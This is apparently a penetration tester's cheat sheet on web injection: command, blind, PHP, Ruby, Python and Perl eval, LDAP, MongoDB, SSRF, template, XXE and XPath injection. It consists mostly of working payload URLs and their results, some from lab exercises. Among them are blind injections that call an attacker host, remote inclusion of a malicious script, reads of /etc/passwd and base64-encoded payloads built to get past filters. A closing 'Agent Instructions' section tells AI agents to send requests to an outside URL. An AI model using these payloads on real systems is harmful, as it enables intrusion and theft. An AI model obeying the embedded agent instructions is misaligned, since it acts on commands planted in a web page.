# Web Injections

## Basics

* Used to run arbitrary commands on a server.
* Multiple payloads can be used to trigger this behavior.
* This is going to take a lot of guess-work .. just keep trying till you get it
* Also: [PhpTricks](/04-webapps/php-tricks.md), [SqlInjections](/04-webapps/03-webapp-sqli.md), [JavascriptXSS](/04-webapps/03-webapp-javascript.md#xss)

## Cookies

* Check cookies
  * Tools > Developer > Application > Cookies
  * for yes-no or admin flags
  * for username (ex: auth=webuser)
    * Update to 'admin' to elevate!
* Try google chrome extension
* Encode/Decode with Base64 if needed
* MD5 key for username:

```
62318aca2ef2e809a13623715a8aaff4   ..testme
21232f297a57a5a743894a0e4a801fc3   ..admin
> echo -ne admin | md5sum          ..ne to prevent new-line dump
```

## Admin Registration Bug

* Admin Registration Tricks
* You might be able to register with 'AdMIN' or 'admin '
* And the login will assume you are actually 'admin'
* This is just dirty programming!
* select \* from users where username = 'admin'

## Catch a Login Redirect with Burp

```
http://abc.libcurl.so/
http://abc.libcurl.so/login.php    ..redirect

Burp or Curl.. you'll find the redirect-secret!!!
curl http://abc.libcurl.so/
<b>secretstring</b>                ..secret!!
```

## Naughty Strings

Try and break a webpage for error or injection:

* <https://github.com/minimaxir/big-list-of-naughty-strings>
* <https://www.owasp.org/index.php/Format_string_attack>

## Command Injection Basics

```
command1 && command2  .. will run command2 if command1 succeeds.
command1 || command2  .. will run command2 if command1 fails.
command1 ; command2   .. will run command1 then command2.
command1 | command2   .. will run command1 send the output of command1 to command2.

```

## Command Injections

* Where \[x] is the value you provided in the form or in the URL.
* Instead of sending the \[x] to the command:
* If commands are blocked, backticks might still be allowed!

```
ping x
ping 127.0.0.1
ping 127.0.0.1 ; cat /etc/passwd
ping 127.0.0.1 ; /usr/local/bin/badApp

http://xyz.so/?ip=127.0.0.1
http://xyz.so/?ip=127.0.0.1;pwd
http://xyz.so/?ip=127.0.0.1;uname
http://xyz.so/?ip=127.0.0.1;cat /etc/passwd
http://xyz.so/?ip=127.0.0.1;/usr/local/bin/score 73c7f148-dfb3-437a-a4a6-d6f74e6ed77d
http://xyz.so/?ip=127.0.0.1%26%26uname   ..&&
http://xyz.so/?ip=127||uname             ..fail and run
http://xyz.so/?ip=`uname`                ..back-ticks get priority
http://xyz.so/?ip=`/tmp/myApp`           ..my app

```

## Blind

* Commands are blocked, but $() might be allowed

```
http://xyz.so/?ip=`uname`                        ..error
http://xyz.so/?ip=$(uname)                       ..ok, but blind
http://xyz.so/?ip=$(curl https://me/hack)        ..watch logs to see if connect
http://xyz.so/?ip=$(ping hack.myserver)          ..watch dns for request
http://xyz.so/?ip=$(sleep 20)                    ..took 20 sec - so it works!
http://xyz.so/?ip=$(/usr/local/bin/myApp)        ..blind!

```

## No spaces allowed

```
> cat${IFS}file.txt
{cat,file.txt}

{/root,-la}

/&pwd/&pwd
/var/task&{cat,lambda_function.py}   --works!!

{/var/log/,-la}
/var/log&{cat,yum.log}

/var/log&{ls,//var/log/yum.log}
/&{cat,/var/log/yum.log}
sbx_user1051
/&{ls,-la,/home/sbx_user1051/}

Found this hiding behind ...  instead of . ..
{/var/task/...,-la}
```

## Name Field injection

Injecting the 'name' login field - gives command injection\
Custom messages aren't vulnerable to command injection, but your 'name' is.

```
echo -e "hello\n-- COW MASTER && WHOAMI" | cowsay
echo -e "hola\n-- COW " && ECHO -E "ME"#" | cowsay

JONES ${PWD}
 ________________________________ 
< hello -- BOB JONES /app/public >
 -------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||


Attempts to parameterize b/c of array:

`H=$(LS)` ECHO ${H}
v=`ls`;echo ${v}
V=$(LS); ECHO ${V}
(V=$(LS));ECHO ${V}
(V=`LS`);ECHO ${V}
`(V=LS);ECHO ${V}`
`V=LS`;ECHO ${V,,}
`V=$(LS);ECHO ${V,,}`
`V=LS; ECHO ${V,,}`

`V=LS;${V,,}`   ..finally got it, but lowercase!!
 _____________________________________ 
/ hi -- BOB about.php css custom.php  \
| favicon-16x16.png favicon-32x32.png |
| favicon.ico includes index.php js   |
| login.php logout.php profile.php    |
\ random.php register.php             /
 ------------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||


`V="LS /";${V,,}`

 ________________________________________ 
/ hi -- BOB app bin bootstrap cowsay dev \
| etc flag home lib media mnt proc root  |
\ run sbin srv sys tmp usr var           /
 ---------------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

attempt to 'cat /flag' .. but 20 char limit
/f*  will call /flag .. this is 'splatting'

`V="cat /f*";${V,,}`   ..win !!!

 _________________________________________ 
/ hi -- BOB                               \
| FLAG{need_bett3r_san1tization}           |
\                                         /
 ----------------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||


```

## PHP Injections

```
http://abc.so/?name=hack
http://abc.so/?name=hack".system("id")."
http://abc.so/?name=hack".system("uname -a")."
http://abc.so/?name=hack".system('uname -a'); $dummy=".
http://abc.so/?name=hack".system('uname -a');#
http://abc.so/?name=hack".system('uname -a');//.

--------------------
--------------------
'usort' in PHP code.. will let you exploit the ending

http://abc.so/?order=id
http://abc.so/?order=id;}//: 
http://abc.so/?order=id));}//
http://abc.so/?order=id);}//
http://abc.so/?order=id);}system('id');// 
http://abc.so/?order=id);}system('uname -a');// 

--------------------
--------------------
PCRE_REPLACE_EVAL
deprecated as of PHP 5.5.0
preg_replace()
/e addition to the 'pattern' lets you 'evaluate' the expression

http://abc.so/?new=hack&pattern=/lamer/&base=Hello lamer
http://abc.so/?new=hack&pattern=/lamer/e&base=Hello lamer
http://abc.so/?new=phpinfo()&pattern=/lamer/e&base=Hello lamer
http://abc.so/?new=system('uname -a')&pattern=/lamer/e&base=Hello%20lamer


--------------------
--------------------
assert()

Now that we know how to finish the syntax to avoid errors, 
We can just inject our payload to run the function 
Keep playing till you get no error..

http://abc.so/?name=hack
http://abc.so/?name=hack'.'
http://abc.so/?name=hack'.phpinfo().'
http://abc.so/?name=hack'.system(id).'
http://abc.so/?name=hack'.system("uname -a").'
```

## Open Redirect

```
http://abc.so/redirect.php?uri=//www.google.com
http://abc.so/redirect.php?uri=//webhook.site/evilcode
```

## PHP Includes

* PHP normally disables loading of remote files: **allow\_url\_include**

```
--------------------
Found: 
http://abc.so/?page=intro.php   ..Warning: include(intro.php'): failed to open stream
http://abc.so/?page=intro.php'  ..Warning: include(): Failed opening 'intro.php'' for inclusion

Prep:
http://myhost/myinclude.txt         ..phpinfo()
http://myhost/myevilinc.txt        ..malicious script

Attack:
http://abc.so/?page=../../../etc/passwd
http://abc.so/?page=http://google.com
http://abc.so/?page=http://myhost/myinclude.txt
http://abc.so/?page=http://myhost/myevilinc.txt
http://abc.so/?page=http://myhost/myevilinc.txt?c=id                ..fail
http://abc.so/?page=http://myhost/myevilinc.txt&c=id                ..ok
http://abc.so/?page=http://myhost/myevilinc.txt&c=uname -a          ..ok
http://abc.so/?page=http://myhost/myevilinc.txt&c=/usr/local/myapp  ..ok

--------------------
NULL BYTE
Server is forcing php to each page
To trim off the .php suffix

http://abc.so/?page=intro
http://abc.so/?page=intro&page=http://myhost/myinclude.txt 
http://abc.so/?page=intro'                          ..Warning: include(intro'.php): failed
http://abc.so/?page=intro%00                        ..fail but clean error
http://abc.so/?page=intro.php%00                    ..ok
http://abc.so/?page=../../../../etc/passwd          ..error 'passwd.php' not found
http://abc.so/?page=../../../../../etc/passwd%00    ..ok
http://abc.so/?page=http://myhost/myinclude.txt%00  ..ok
http://abc.so/?page=http://myhost/myevilinc.txt%00&c=uname -a             ..ok
http://abc.so/?page=http://myhost/myevilinc.txt%00&c=/usr/local/bin/myapp ..ok
```

## Ruby Injections

* Ruby with 'eval' - Eval is evil
* Ruby uses \` for command execution!!
* Here, we will need to do the following:
  * A double-quote " to break out of the string.
  * Add a + sign for string concatenation (don't forget to URL-encode to %2b)
  * Add a call to the command (\[COMMAND]) we want to run using \`
  * Add another + sign for string concatenation.
  * Another double-quote " to close the one that was already there.

```
http://abc.so/?username=hack
http://abc.so/?username=hack" 

Error: 
@message = eval "\"Hello "+params['username']+"\""

http://abc.so/?username=hack"+""+"
http://abc.so/?username=hack"%2b""%2b"
http://abc.so/?username=hack"+`uname -a`+"
http://abc.so/?username=hack"%2b`uname -a`%2b"
http://abc.so/?username=hack"%2b`/usr/local/bin/myapp`%2b"
```

## Python Injections

```
--------------------
--------------------
http://abc.so/hack
http://abc.so/hack'    
http://abc.so/hack"            .. error
http://abc.so/hack""           .. ok
http://abc.so/hack"+"          .. ok
http://abc.so/hack"%2b"        .. ok
http://abc.so/hack"+"test"+"   .. ok (text injectino)
http://abc.so/hack"+str(1)+"   .. ok (python test)
http://abc.so/hack"+str(os.popen("ls"))+"
http://abc.so/hack"+str(os.popen("ls").read())+"
http://abc.so/hack"+str(os.popen("/usr/local/bin/myapp").read())+"

--------------------
--------------------
http://abc.so/hack"+str(os.system'id'))+"                         .. error
http://abc.so/hack"+str(os.popen("ls"))+"                         .. error
http://abc.so/hack"+str(__import__('os').system('id'))+"          .. ok
http://abc.so/hack"+str(__import__('os').popen('id').read())+"    .. ok
http://abc.so/hack"+str(__import__('os').popen('cat /etc/passwd').read())+"
http://abc.so/hack"+str(__import__('os').popen('/usr/local/bin/myapp').read())+"



```

## Python Injection Bypass Execution Rules

```
Encode/Decode the '/' to bypass execution rules!!

http://abc.so/hack
http://abc.so/hack"+"yes"+"                                                 .. ok
http://abc.so/hack"+str(__import__('os').system('id'))+"                    .. ok
http://abc.so/hack"+str(__import__('os').popen('uname').read())+"           .. ok
http://abc.so/hack"+str(__import__('os').popen('uname -a').read())+"        .. ok
http://abc.so/hack"+str(__import__('os').popen('cat /etc/passwd').read())+" .. error

Not working: test using # aka: comment

http://abc.so/hack"+str(__import__('os').popen('uname # test').read())+"
http://abc.so/hack"+str(__import__('os').popen('uname %23 test').read())+"         ..ok
http://abc.so/hack"+str(__import__('os').popen('uname %23 /etc/passwd').read())+"  ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 /etc').read())+" ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 /e').read())+"   ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 e').read())+"    ..ok
http://abc.so/hack"+str(__import__('os').popen('uname %23 /').read())+"    ..error

/ is blocked
Even using comment with / .. we get an error
Appears that / marks .. are blocked, so we need a workaround
http://abc.so/hack"+str(__import__('os').popen('uname %23 ok').read())+"   ..ok
http://abc.so/hack"+str(__import__('os').popen('uname %23 /').read())+"    ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 %2f').read())+"  ..error

Python Encode/Decode Payload:
import base64; b64decode(...) 
echo 'cat /etc/passwd' | base64
__import__('base64').b64decode('Y2F0IC9ldGMvcGFzc3dkCg==')

http://abc.so/hack"+str(__import__('os').popen('payload').read())+"        ..ok
http://abc.so/hack"+str(__import__('os').popen(__import__('base64').b64decode('Y2F0IC9ldGMvcGFzc3dkCg==')).read())+"
```

## Python Practice Locally

```
ASCII bits:
linux > man ascii >
/   .. to search
/ # .. to find the Hash-symbol !!  # = %23  .. / = %2f
n   .. to find NEXT
N   .. to find Previous!!

python3
>> "hacker"+str(1)+"                    .. error
>> "hacker"+str(1+1)+""                 .. ok
>> __import__('os').system('id')        .. ok one-liner os import!!
>> __import__('os').popen('id').read()  .. perfect
```

## Perl Injections

* Perl Concat using " . "
* Developer Tools > Network > Preserve Logs
* Find a back-end page running with "hello?name=hack"

```
http://abc.so/cgi-bin/hello?name=hack
http://abc.so/cgi-bin/hello?name=hack'.`uname -a`.'
http://abc.so/cgi-bin/hello?name=hack'.`/usr/local/bin/myapp`.'
```

## LDAP Injection

```
--------------------
Bypass
NULL BIND allows local users to login w/o LDAP acct

http://myldap.so/  ..try login with:
admin
admin'
admin'   
admin)
admin' or 1=1 --

Use Burp: Catch the request, remove/tweak the login
Or Chrome: Developer Tools > R.Click Copy as CURL
curl 'http://myldap.so/' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://myldap.so' -H 'Upgrade-Insecure-Requests: 1' -H 'DNT: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3' -H 'Referer: http://myldap.so/' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.9' 
--data 'username=NULL&password=NULL' --compressed --insecure
--data '' --compressed --insecure



--------------------
Advanced Bypass

http://myldap.so/
http://myldap.so/?name=admin&password=admin  .. no error 
http://myldap.so/?name=admin'&password=admin .. no error
http://myldap.so/?name=admin"&password=admin .. no error
http://myldap.so/?name=admin)&password=admin .. ')' Error! search ldap server, msg:'Bad search filter'

(&(cn=admin))(userPassword=admin))
(&(cn=admin)(cn=*))%00)(userPassword=admin))

http://myldap.so/?name=admin)(cn=*))%00&password=admin
.. Win!!
```

## MongoDB Injection

* Instead of doing every manual-match attempt... use [RubyBrute](/05-passwords-ciphers/hydra.md#ruby-brute-loop)

```
--------------------
--------------------
Just like SQLi
'||1==1 %00
 or yes, null byte!

http://mongo.so/?username=admin' or 1=1--%00
http://mongo.so/?username=admin&password=admin&submit=Submit
http://mongo.so/?username=admin&password=admin&submit=Submit' or 1=1 --
http://mongo.so/?username=admin'&password=admin&submit=Submit
.. Can't canonicalize query :: caused by :: SyntaxError: missing ; before statement :

http://mongo.so/?username=admin'+'&password=admin&submit=Submit
http://mongo.so/?username=admin%27%2b%27&password=admin&submit=Submit     ..'+'
http://mongo.so/?username=admin'||1==1 %00 &password=admin&submit=Submit  ..win!!


--------------------
--------------------
Manual match to find every letter

http://mongo.so/?search=admin    ..ok
http://mongo.so/?search=admin'   ..no error
http://mongo.so/?search=admin"   ..no error
http://mongo.so/?search=admin' && this.password.match(/aaa/)%00
http://mongo.so/?search=admin' %26%26 this.password.match(/aaa/)%00  ..nothing
http://mongo.so/?search=admin' %26%26 this.password.match(/d/)%00    ..nothing
http://mongo.so/?search=admin' %26%26 this.password.match(/^d/)%00   ..look for each
http://mongo.so/?search=admin' %26%26 this.password.match(/^5/)%00   ..start with 5
.. going to take forever
.. you need RubyBrute
```

## Server Side Request Forgery (SSRF)

* Allows an attacker to send commands to the localhost/server instead of normal path

```
http://abc.so/?url=https://mysite.com/hacker.txt
http://abc.so/?url=http://127.0.0.1:1234            ..worked
http://abc.so/?url=http://localhost:1234            ..worked
http://abc.so/?url=http://127.0.0.2:1234            ..2,3 also worked
http://abc.so/?url=http://017700000001:1234         ..Octal Format worked

http://abc.so/?url=http://mysite.com./hacker.txt 
.. also works with a '.' so maybe we can forge to a diff domain

You can also try faking the SUFFIX of the link.. 
Send it to a custom link that has a zone which points to 127.0.0.1, like this:
http://abc.so/?url=http://mysite.lab.link/hacker.txt 

dig blah.mysite.lab.link
127.0.0.1

http://abc.so/?url=http://mysite.com.link:1234
This proves you can fake the suffix into directing to localhost!!
```

## Server Side Template Injection (SSTI)

* Python may answer, even if page is broken
* Calculated 4 - 1 = 3 even though page not found
* <https://portswigger.net/research/server-side-template-injection>
* Example: uber.com may RCE by Flask Jinja2 Template Injection
  * <https://hackerone.com/reports/125980>
* \#1 Python > Popen ..to issue commands for us
* \#2 Twig > env.registerUndefinedFilterCallback ...to execute

```
------------------------------
Vulnerability
http://abc.so/test{{4-1}}                     .. test3
http://abc.so/test{{''.__class__}}            .. test<type 'str'>
http://abc.so/test{{''.__class__.mro()[2]}}   .. test<type 'object'>

------------------------------
Recon: Catch all the classes
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()}}

Search for Popen:
:/Popen    ..found on line 234

Numbering:
Even though our text starts at line 1.. Programming will start at '0'

------------------------------
Confirm Popen
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]}}
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("uname")}}
.. <subprocess.Popen object at 0x7fa4a74f73d0>
.. Good sign that it didnt error!

------------------------------
Python Local Troubleshooting:
Python2
>> import subprocess
>> subprocess.Popen("uname")                 .. Works! "Linux"
>> subprocess.Popen("uname -a")              .. Error
>> subprocess.Popen(["uname", "-a"])         .. Works! "Linux 4.8.17"
>> subprocess.Popen("uname -a", shell=True)  .. Works!

------------------------------
Make Popen call 'uname' and 'myapp'
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("uname")}}
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("uname -a",shell=True,stdout=-1).communicate()[0]}}
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("/usr/local/bin/myapp",shell=True,stdout=-1).communicate()[0]}}

------------------------------
Twig Example #2
http://abc.so/?name=hack{{4-1}}
http://abc.so/?name=hack{{_self}}   ... 'Twig'
http://abc.so/?name=hack{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('uname')}}
http://abc.so/?name=hack{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('/usr/local/bin/myapp')}}
```

## File Uploads

* An upload page could get you a [webshell ](/03-getting-in/03-reverseshell-php.md#php-web-shell)like [php](/04-webapps/php-tricks.md)

## XML Attack

```
--------------------
Identify:
http://abc.so/?xml=<test>hacker</test>

--------------------
Detail:
XML Entity can be declared:
<!ENTITY x SYSTEM "file:///etc/passwd">

You will need to envelope this properly, in order to get it to work correctly:
<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]>

Then use the reference to x:  &x; 
(don't forget to encode &) 
.. and get the result inserted in the XML document during its parsing (server side).

--------------------
Exploit:
http://abc.so/?xml=<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><test>&x;</test>
http://abc.so/?xml=<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><test>%26x;</test>
```

## XPath Injection

* Another XML Attack
* Similar to [SqlInjection](/04-webapps/03-webapp-sqli.md)

```
http://abc.so/?name=hack&password=secret
http://abc.so/?name=hack']%00&password=secret  ..with NULL Byte
http://abc.so/?name=hack']/parent::*/child::node()%00&password=secret
http://abc.so/?name=hack' or 1=1]/parent::*/child::node()%00&password=secret

' and '1'='1  .. error
' or '1'='0   .. error
' and '1'='0  .. no results
' or '1'='1   .. ok
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentest.mxhx.org/04-webapps/03-webapp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
